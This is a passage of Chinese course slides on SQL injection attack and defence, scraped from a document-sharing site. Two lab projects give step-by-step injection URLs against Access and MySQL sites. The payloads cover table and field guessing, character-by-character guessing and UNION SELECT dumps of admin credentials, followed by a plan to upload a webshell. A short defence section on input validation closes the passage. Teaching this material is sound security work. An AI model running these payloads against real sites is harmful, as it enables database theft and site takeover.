服務(wù)器入侵技術(shù)應(yīng)用與防護(hù)_第1頁
服務(wù)器入侵技術(shù)應(yīng)用與防護(hù)_第2頁
服務(wù)器入侵技術(shù)應(yīng)用與防護(hù)_第3頁
服務(wù)器入侵技術(shù)應(yīng)用與防護(hù)_第4頁
服務(wù)器入侵技術(shù)應(yīng)用與防護(hù)_第5頁
已閱讀5頁,還剩25頁未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡介

1、服務(wù)器入侵技術(shù)應(yīng)用與防護(hù)3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù) 教學(xué)的實(shí)施過程學(xué)生探究完成任務(wù)檢查評(píng)測綜合創(chuàng)新思考、探討完成任務(wù)需要的相關(guān)資料,搜集資料,制定工作計(jì)劃 明確需要完成的工作任務(wù);教師進(jìn)行點(diǎn)評(píng)、確定最終的實(shí)施方法;對(duì)技術(shù)問題進(jìn)行講授和答疑。學(xué)生進(jìn)入網(wǎng)絡(luò)實(shí)訓(xùn)室,根據(jù)工作計(jì)劃完成每個(gè)工作項(xiàng)目,完成每個(gè)項(xiàng)目實(shí)施日志和心得總結(jié) 學(xué)生分組相互檢查任務(wù)完成情況,分析不足,給出評(píng)價(jià);教師對(duì)學(xué)生的日志和總結(jié)進(jìn)行分析,給出評(píng)價(jià)。探索數(shù)據(jù)庫的其它入侵方法和防范方法,搜索相關(guān)工具,并在虛擬網(wǎng)絡(luò)或網(wǎng)絡(luò)實(shí)訓(xùn)室中進(jìn)行驗(yàn)證。3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)常見的數(shù)據(jù)庫攻擊方法有哪些?目前的主流數(shù)據(jù)

2、庫的SQL注入技術(shù)。完成數(shù)據(jù)庫SQL注入攻擊所需要的環(huán)境和工具。如何防范數(shù)據(jù)庫的SQL注入攻擊?問題引領(lǐng)3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目一 Access數(shù)據(jù)庫的SQL注入攻擊(一)環(huán)境說明 目前國內(nèi)很大一部分網(wǎng)站都是采用asp+access搭建成的,本實(shí)例網(wǎng)站是在虛擬機(jī)搭建的一套留言板程序,IP地址為: :/28:8181/bbs/index.asp(留言板首頁) 3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目一 Access數(shù)據(jù)庫的SQL注入攻擊(二) 攻擊實(shí)例講解 點(diǎn)擊公告連接,此時(shí)注意觀察地址欄 :/28:8181/bbs/gshow.asp?id=1Gshow.asp后面

3、跟了一個(gè)id參數(shù),其值為數(shù)字1, 下面我們來看一下服務(wù)器端的gshow.asp中的讀取公告內(nèi)容的代碼:3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目一 Access數(shù)據(jù)庫的SQL注入攻擊在id參數(shù)后面加上 and exists(select * from msysobjects) 注:mysysobjects是access的系統(tǒng)表完整的測試語句: :/28:8181/bbs/gshow.asp?id=1 and exists(select * from msysobjects),回車提交到服務(wù)器端 3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目一 Access數(shù)據(jù)庫的SQL注入攻擊一般網(wǎng)站重要

4、的信息就是后臺(tái)管理員登陸帳號(hào)密碼了,我們提交 :/28:8181/bbs/gshow.asp?id=1 and exists(select * from users) (判斷數(shù)據(jù)庫中是否存在users表) 3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目一 Access數(shù)據(jù)庫的SQL注入攻擊根據(jù)圖中返回結(jié)果提示users表不存在,那么我們繼續(xù)來提交 :/28:8181/bbs/gshow.asp?id=1 and exists(select * from admin)3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目一 Access數(shù)據(jù)庫的SQL注入攻擊提交 :/28:8181/bbs/gshow.

5、asp?id=1 and exists(select user from admin)服務(wù)器返回”至少一個(gè)參數(shù)沒有被指定值說明不存在user字段,繼續(xù)提交 :/28:8181/bbs/gshow.asp?id=1 and exists(select admin from admin) 3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目一 Access數(shù)據(jù)庫的SQL注入攻擊服務(wù)器返回正常,說明admin表里面存在字段”admin”(這個(gè)字段一般就是管理員登陸名稱),再提交 :/28:8181/bbs/gshow.asp?id=1 and exists(select password from adm

6、in) 3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目一 Access數(shù)據(jù)庫的SQL注入攻擊 :/28:8181/bbs/gshow.asp?id=1 and (select top 1 len(admin) from admin)=5 得到下圖所示的頁面說明長度為5 3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目一 Access數(shù)據(jù)庫的SQL注入攻擊現(xiàn)在可以根據(jù)得到的信息猜解字段內(nèi)容了,具體方法就是and (select top 1 asc(mid(admin,x,1) from admin)x將表中第一條記錄指定字段內(nèi)容的某個(gè)字符的ascii值進(jìn)行比較,以此類推從而猜測出字段內(nèi)容 本實(shí)例中

7、提交 :/28:8181/bbs/gshow.asp?id=1 and 97=(select top 1 asc(mid(admin,1,1) from admin) 3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目一 Access數(shù)據(jù)庫的SQL注入攻擊接下來我們把2、3、或4輸出的地方換成我們想要查詢到的管理員信息,上面我們已經(jīng)知道了管理員表里面存在admin、password字段,構(gòu)造語句 :/28:8181/bbs/gshow.asp?id=1 union select 1,admin,password,4,5 from admin 3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目一 Acc

8、ess數(shù)據(jù)庫的SQL注入攻擊獲取了管理員表admin中的數(shù)據(jù)。 根據(jù)圖中返回信息可以判定字段數(shù)=4,繼續(xù)提交 order by 6 。 3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目一 Access數(shù)據(jù)庫的SQL注入攻擊如圖,出現(xiàn)了錯(cuò)誤提示,說明字段數(shù)是小于6的,再提交order by 5 返回正常頁面 結(jié)合上面就可以斷定字段數(shù)為5了,再使用union select即可查詢出想要的信息;另一個(gè)是用union select x,x來累加猜測3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目一 Access數(shù)據(jù)庫的SQL注入攻擊如果返回上圖所示的錯(cuò)誤信息就累加,直到頁面輸出數(shù)據(jù)的地方出現(xiàn)數(shù)字 ,然后再

9、將字段名替換數(shù)字就能夠?qū)崿F(xiàn)快速得到數(shù)據(jù)庫信息了。 3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目二 Mysql數(shù)據(jù)庫的SQL注入攻擊 實(shí)例介紹mysql數(shù)據(jù)庫在web開發(fā)中也是運(yùn)用得相當(dāng)廣泛,和其它數(shù)據(jù)庫一樣,在腳本編程時(shí)如果對(duì)參數(shù)沒過濾或過濾不嚴(yán)格也會(huì)導(dǎo)至注入漏洞的產(chǎn)生。本實(shí)例是在虛擬機(jī)搭建php+mysql網(wǎng)站。目標(biāo)網(wǎng)站為,點(diǎn)開一條帶參數(shù)的新聞鏈接:3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目二 Mysql數(shù)據(jù)庫的SQL注入攻擊 在url后面加上一下單引號(hào) 這是程序簡單處理了數(shù)據(jù)庫暴錯(cuò)信息。下面來進(jìn)一步確定是否存在注入漏洞,分別提交 and 1=1 and 1=23.2 數(shù)據(jù)庫服務(wù)器的S

10、QL注入攻擊與防護(hù)項(xiàng)目二 Mysql數(shù)據(jù)庫的SQL注入攻擊 當(dāng)提交and 1=2的時(shí)候數(shù)據(jù)返回了錯(cuò)誤信息,這種情況下無論什么數(shù)據(jù)庫都可以確定存在注入漏洞了。開始進(jìn)一步或取相關(guān)信息,先用order by取得當(dāng)前表的字段數(shù),提交 3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目二 Mysql數(shù)據(jù)庫的SQL注入攻擊 返回了正常頁面,再提交返回出錯(cuò)頁面,說明字段數(shù)在大于或等于14小于19,再來提交返回正常3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目二 Mysql數(shù)據(jù)庫的SQL注入攻擊 當(dāng)提交 :/spring.sina-qd /news/show.php/?id=18944 order by 17出錯(cuò)

11、,跟據(jù)上面返回的結(jié)果說明字段數(shù)為16,再來使用union select 方法進(jìn)一步獲取我們要的信息。提交 :/spring.sina-qd /news/show.php/?id=18944 and 1=2 union select 1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16/*3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目二 Mysql數(shù)據(jù)庫的SQL注入攻擊 跟據(jù)頁面返回信息可以看到在數(shù)據(jù)庫查詢顯示結(jié)果的地方顯示了我們剛剛輸入的數(shù)字,下一步或取數(shù)據(jù)庫版本,當(dāng)前用戶,數(shù)據(jù)庫名提交 :/spring.sina-qd /news/show.php/?id=18944

12、and 1=2 union select1,2,user(),4,version(),6,7,8,9,0,11,12,13,14,15,163.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目二 Mysql數(shù)據(jù)庫的SQL注入攻擊 當(dāng)前用戶為sinaqd(非root),版本為4.0.18(5.0以下),對(duì)于這種情況,思路就是通過注入點(diǎn)提交查詢語句得到管理員登陸信息然后進(jìn)入后臺(tái)上傳webshell。下面來判斷管理員表, :/spring.sina-qd /news/show.php/?id=18944 and 1=2 union select 1,2,3,4,5,6,7,8,9,0,11,12,13,1

13、4,15,16 from user返回錯(cuò)誤頁面 再提交 :/spring.sina-qd /news/show.php/?id=18944 and 1=2 union select 1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16 from users說明存在users(有時(shí)候是管理員表,有時(shí)候是普通注冊(cè)用戶)表 3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目二 Mysql數(shù)據(jù)庫的SQL注入攻擊 繼續(xù)猜字段 :/spring.sinaqd /news/show.php/?id=18944%20and%201=2%20union%20select%201,2,name,

14、4,5,6,7,8,9,0,11,12,13,14,15,16%20from%20users3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目二 Mysql數(shù)據(jù)庫的SQL注入攻擊 成功獲取登陸名稱sinaqd,繼續(xù)提交:ttp:/spring.sina-qd /news/show.php/?id=18944%20and%201=2%20union%20select%201,2,name,4,password,6,7,8,9,0,11,12,13,14,15,16%20from%20users不存在pasword字段,提交 :/spring.sina-qd /news/show.php/?id=18

15、944%20and%201=2%20union%20select%201,2,name,4,passwd,6,7,8,9,0,11,12,13,14,15,16%20from%20users3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目二 Mysql數(shù)據(jù)庫的SQL注入攻擊 暴出了密碼,下面就尋找后臺(tái)入口了,配合google很快找到了管理入口3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目二 Mysql數(shù)據(jù)庫的SQL注入攻擊 輸入用戶名和密碼,成功進(jìn)入后臺(tái)?,F(xiàn)在是管理員了,然后在找到上傳的地方上傳webshell。3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目三 數(shù)據(jù)庫注入攻擊的防范 一、注入攻擊

16、防范分析 注入攻擊都是來自于客戶端,無論是表單提交、URL傳值還是Cookie等,其實(shí)原理都是一樣的。到了服務(wù)器端可以分成三種情況:數(shù)字、日期時(shí)間、字符串。數(shù)字。假設(shè)我們要實(shí)現(xiàn)一個(gè)顯示新聞的頁面,我們可能會(huì)隨手寫下下面的代碼:stringid=Request.QueryStringid;stringsql=select*fromnewswhereColID=+id; 如果傳遞過來的id是我們想像的數(shù)字(比如168),那么自然不會(huì)有什么問題。但是如果傳遞過來的id是“168deletefromtable”的話,那么sql的值就變成了“select*fromtablewhereColID=168d

17、eletefromnews”。 對(duì)于SQLServer來說是支持一次提交多條SQL語句的,這個(gè)為我們提供了方便之余也為SQL注入敞開了大門。 顯然如果這條SQL語句被執(zhí)行的話,那么news表里的記錄就都沒有了。因?yàn)镃olID字段的類型是int的,那么我們只需要驗(yàn)證一下傳遞過來的id是不是整數(shù)就可以了,整數(shù)就不存在注入。即使不存在注入,把一個(gè)不是整數(shù)的id拼接進(jìn)去也會(huì)造成執(zhí)行錯(cuò)誤。所以說不管是不是為了預(yù)防SQL注入,也都應(yīng)該驗(yàn)證id是不是整數(shù)。可以用TryParse,可以用正則,也可以自己寫函數(shù)驗(yàn)證。但是不建議用try異常的方式,因?yàn)闋砍缎蕟栴}。這里還有一個(gè)特殊情況,就是對(duì)于批量刪除這類的會(huì)傳

18、遞過來多個(gè)數(shù)字,比如“1,2,3,10”,這個(gè)也需要驗(yàn)證一下,萬一有人利用這個(gè)漏洞呢。至于驗(yàn)證方法也很簡單,自己寫個(gè)函數(shù)就ok了。 3.2 數(shù)據(jù)庫服務(wù)器的SQL注入攻擊與防護(hù)項(xiàng)目三 數(shù)據(jù)庫注入攻擊的防范 一、注入攻擊防范分析日期時(shí)間日期時(shí)間和數(shù)字的情況是一樣的,驗(yàn)證是不是日期時(shí)間即可。字符串 最麻煩、爭議最大的就是這個(gè)了。先看一下如何注入:比如我們先要按照新聞標(biāo)題來進(jìn)行查詢,可能寫的代碼:stringkey=txtTitle.Text;stringsql=select*fromnewswheretitlelike%+key+%; 這個(gè)又是如何注入的呢?如果key的值永遠(yuǎn)都不會(huì)包含單引號(hào),那么會(huì)不會(huì)被注入進(jìn)來?那么用了單引號(hào)又是如何注入的呢?假設(shè)key=deletefrom

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論